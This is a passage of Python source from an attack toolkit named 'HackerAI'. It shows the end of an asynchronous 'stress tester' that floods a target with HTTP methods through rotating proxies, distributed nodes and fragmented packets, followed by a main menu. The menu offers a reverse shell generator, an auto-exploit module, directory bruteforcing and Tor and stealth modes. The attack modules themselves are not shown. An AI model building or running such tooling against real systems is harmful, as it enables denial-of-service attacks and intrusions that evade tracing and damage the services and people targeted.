print(f"\n{Y}[?] Use proxy rotation during attack? (y/n): {W}", end='')
use_proxy = input().strip().lower() == 'y'
proxy_manager = self.proxy_manager if use_proxy else None
if use_proxy:
print(f"{C}[*] Enabling proxy rotation{W}")
self.proxy_manager.toggle_proxy_rotation()
# Custom HTTP methods
custom_methods = None
if attack_type in ['http', 'mixed', 'intelligent']:
methods_input = input(f"{Y}Custom HTTP methods (comma-separated, Enter for default): {W}").strip()
if methods_input:
custom_methods = [m.strip().upper() for m in methods_input.split(',')]
else:
custom_methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD']
# Run the async attack
try:
from stress_tester import AdvancedAsyncStressTester
print(f"\n{G}{'='*60}{W}")
print(f"{C}Starting {attack_type.upper()} Attack{W}")
print(f"{G}{'='*60}{W}")
tester = AdvancedAsyncStressTester(
target=target,
duration=duration,
concurrency=concurrency,
attack_type=attack_type,
proxy_manager=proxy_manager,
distributed_nodes=distributed_nodes,
fragment_packets=fragment_packets,
custom_http_methods=custom_methods
)
asyncio.run(tester.run_async_attack())
except ImportError as e:
print(f"{R}[!] Error importing AdvancedAsyncStressTester: {e}{W}")
# Fallback to old version
try:
print(f"{Y}[*] Using legacy stress tester{W}")
from stress_tester import StressTester
StressTester.run_stress_test(target, duration, concurrency, attack_type, proxy_manager)
except ImportError as e2:
print(f"{R}[!] Failed to load any stress tester module: {e2}{W}")
except KeyboardInterrupt:
print(f"\n{Y}[*] Attack interrupted by user.{W}")
except Exception as e:
print(f"{R}[!] Error during attack: {e}{W}")
import traceback
traceback.print_exc()
# Cleanup
if use_proxy and self.proxy_manager.use_proxy_rotation:
self.proxy_manager.toggle_proxy_rotation()
input(f"\n{Y}Press Enter to return to menu...{W}")
def main_menu(self):
"""Main menu with all options"""
while self.running:
clean()
self.display_banner()
# Display status
proxy_status = f"{G}ON{W}" if self.proxy_manager.use_proxy_rotation else f"{R}OFF{W}"
tor_status = f"{G}ON{W}" if self.proxy_manager.use_tor else f"{R}OFF{W}"
stealth_status = f"{G}ON{W}" if self.proxy_manager.stealth_mode else f"{R}OFF{W}"
local_ip = get_local_ip()
print(f" {C}βββββββββββββββββββββββββββββββββββββββββββββββββββββ{W}")
print(f" {C}β Status: Proxy:{proxy_status:4} | Tor:{tor_status:4} | Stealth:{stealth_status:4} β{W}")
print(f" {C}β Threads: {THREADS:<3} | LHOST: {LHOST:<15}:{LPORT:<5} β{W}")
print(f" {C}β Local IP: {local_ip or 'N/A':<37} β{W}")
print(f" {C}βββββββββββββββββββββββββββββββββββββββββββββββββββββ{W}")
print(f"\n{Y}βββββββββββββββ[ SCANNING TOOLS ]βββββββββββββββ{W}")
print(f" {G}[1]{W} Advanced Reconnaissance")
print(f" {G}[2]{W} Web Vulnerability Auditor")
print(f" {G}[3]{W} Directory Bruteforce")
print(f" {G}[4]{W} Subdomain Enumeration")
print(f" {G}[5]{W} Network Scanner")
print(f"\n{Y}βββββββββββββββ[ ATTACK TOOLS ]ββββββββββββββββ{W}")
print(f" {R}[6]{W} Advanced Stress Tester (Async)")
print(f" {R}[7]{W} Reverse Shell Generator")
print(f" {R}[8]{W} Auto-Exploit Module")
print(f"\n{Y}βββββββββββββββ[ UTILITIES ]βββββββββββββββββββ{W}")
print(f" {B}[S]{W} Settings & Configuration")
print(f" {B}[R]{W} View & Export Reports")
print(f" {B}[H]{W} Help")
print(f"\n{Y}βββββββββββββββ[ SYSTEM ]βββββββββββββββββββββ{W}")
print(f" {C}[A]{W} About HackerAI")
print(f" {C}[0]{W} Exit Tool")
print(f"{Y}ββββββββββββββββββββββββββββββββββββββββββββββββββ{W}")
choice = input(f"\n{C}HackerAI@{self.current_version} > {W}").strip().lower()
if choice == '1':
try:
from scanner import advanced_recon
advanced_recon()
except ImportError as e:
print(f"{R}[!] Error loading scanner: {e}{W}")
input(f"{Y}Press Enter to continue...{W}")
elif choice == '2':
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
try:
loop.run_until_complete(self.web_auditor_advanced())
except Exception as e:
print(f"{R}[!] Error in web auditor: {e}{W}")
input(f"{Y}Press Enter to continue...{W}")
elif choice == '3':
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
try:
loop.run_until_complete(self.fast_bruter_advanced())
except Exception as e:
print(f"{R}[!] Error in brute forcer: {e}{W}")
input(f"{Y}Press Enter to continue...{W}")
elif choice == '4':
try:
from scanner import subdomain_enumeration
subdomain_enumeration()
except ImportError as e:
print(f"{R}[!] Error loading subdomain module: {e}{W}")
input(f"{Y}Press Enter to continue...{W}")
elif choice == '5':
try:
from scanner import network_scanner
network_scanner()
except ImportError as e:
print(f"{R}[!] Error loading network scanner: {e}{W}")
input(f"{Y}Press Enter to continue...{W}")
elif choice == '6':
self.stress_test_advanced_async()
elif choice == '7':
self.reverse_shell_generator_advanced()
elif choice == '8':
self.auto_exploit_interface()
elif choice == 's':
self.settings_menu()
elif choice == 'r':
self.view_report_enhanced()
elif choice == 'h':
self.show_help()
elif choice == 'a':
self.about_tool()
elif choice == '0':
print(f"\n{G}[*] Thank you for using HackerAI {self.current_version}!{W}")
print(f"{C}[*] Stay ethical, stay secure.{W}")
time.sleep(1)
self.running = False
sys.exit(0)
else:
print(f"{R}[!] Invalid choice. Please try again.{W}")
time.sleep(1)
async def web_auditor_advanced(self):
"""Wrapper for web auditor"""
try:
from scanner import web_auditor_advanced